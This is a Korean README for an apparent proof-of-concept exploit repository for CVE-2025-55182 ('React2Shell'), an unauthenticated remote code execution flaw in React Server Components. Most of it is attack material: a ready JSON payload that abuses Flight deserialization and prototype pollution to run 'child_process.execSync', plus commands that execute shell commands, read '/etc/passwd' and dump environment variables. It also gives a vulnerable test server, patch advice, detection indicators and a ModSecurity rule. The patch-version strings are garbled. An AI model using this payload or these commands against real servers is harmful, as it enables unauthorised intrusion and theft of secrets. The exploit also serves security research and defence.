
CVE-2025-55182 (React2Shell)에 대한 개념 증명 익스플로잇으로, Flight 프로토콜 역직렬화를 통해 React Server Components에서 인증되지 않은 원격 코드 실행을 시연합니다. 취약한 서버 설정 및 탐지 스크립트를 포함합니다.
경고: 이 프로젝트는 보안 연구 및 교육 목적으로만 사용해야 합니다. 허가 없이 타인의 시스템에 사용하는 것은 불법입니다.
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2025-55182 |
| 별칭 | React2Shell |
| CVSS 점수 | 10.0 (Critical - 최대 심각도) |
| 취약점 유형 | Unauthenticated Remote Code Execution (RCE) |
| 발견자 | Lachlan Davidson |
| 공개일 | 2025년 12월 3일 |
react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0CVE-2025-55182/
├── README.md # 이 파일
├── vulnerable-server/ # 취약한 Next.js 서버
│ ├── package.json
│ ├── next.config.js
│ ├── tsconfig.json
│ └── app/
│ ├── layout.tsx
│ ├── page.tsx
│ └── actions.ts # Server Action
├── exploit/ # 공격 PoC
│ ├── package.json
│ ├── poc.js # RCE 공격 스크립트
│ └── check-vulnerability.js # 취약점 체크 스크립트
└── React2Shell-CVE-2025-55182-original-poc/ # 원본 PoC 참조
# 의존성 설치
cd vulnerable-server
npm install
# 개발 모드로 서버 실행 (포트 3000)
npm run dev
서버가 http://localhost:3000 에서 실행됩니다.
새 터미널에서:
# 의존성 설치
cd exploit
npm install
# 취약점 체크
npm run check
# PoC 실행 (테스트 모드)
npm run exploit
node poc.js -m test
# macOS
node poc.js -m calc
# Linux
node poc.js -m calc -c linux
# Windows
node poc.js -m calc -c windows
# id 명령 실행
node poc.js -t http://localhost:3000 -m rce -c "id"
# 파일 읽기
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"
# 시스템 정보
node poc.js -t http://localhost:3000 -m rce -c "uname -a"
node poc.js -t http://localhost:3000 -m env
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"
React Server Components의 Flight 프로토콜에서 클라이언트가 전송한 데이터를 역직렬화할 때 발생합니다.
requireModule 함수가 클라이언트가 전송한 속성명을 검증 없이 신뢰
→ moduleExports[metadata[NAME]] 실행 시 hasOwnProperty 검사 없음
→ 프로토타입 체인 조작 가능 (Server-Side Prototype Pollution)
→ Function 생성자 획득 → RCE
$@x 역직렬화 트리거 - Chunk 객체 참조 획득.then 메서드를 가진 thenable 객체 주입status: resolved_model 설정_response, _formData 등 활용$1:constructor:constructornew Function(악성코드) 실행{
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': 'process.mainModule.require("child_process").execSync("id")//',
'_formData': {
'get': '$3:constructor:constructor'
},
'_chunks': '$2:_response:_chunks'
}
}
# 15.0.x 사용자
npm install [email protected]
# 15.1.x 사용자
npm install [email protected]
# 15.2.x 사용자
npm install [email protected]
npm install [email protected]
npm install [email protected]
npm install [email protected]
POST 요청Next-Action 헤더 존재multipart/form-data 형식$@, resolved_model, constructor 등의 패턴# 의심스러운 Flight 페이로드 탐지
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:1001,phase:2,deny,status:403,\
chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
"t:lowercase"
이 프로젝트는 교육 및 연구 목적으로만 제공됩니다. 악의적인 목적으로의 사용을 금지합니다.
주의: 실제 환경에서 이 취약점을 발견했다면 즉시 패치하세요. 공격이 확인된 경우 보안 팀에 보고하고 침해 조사를 수행하세요.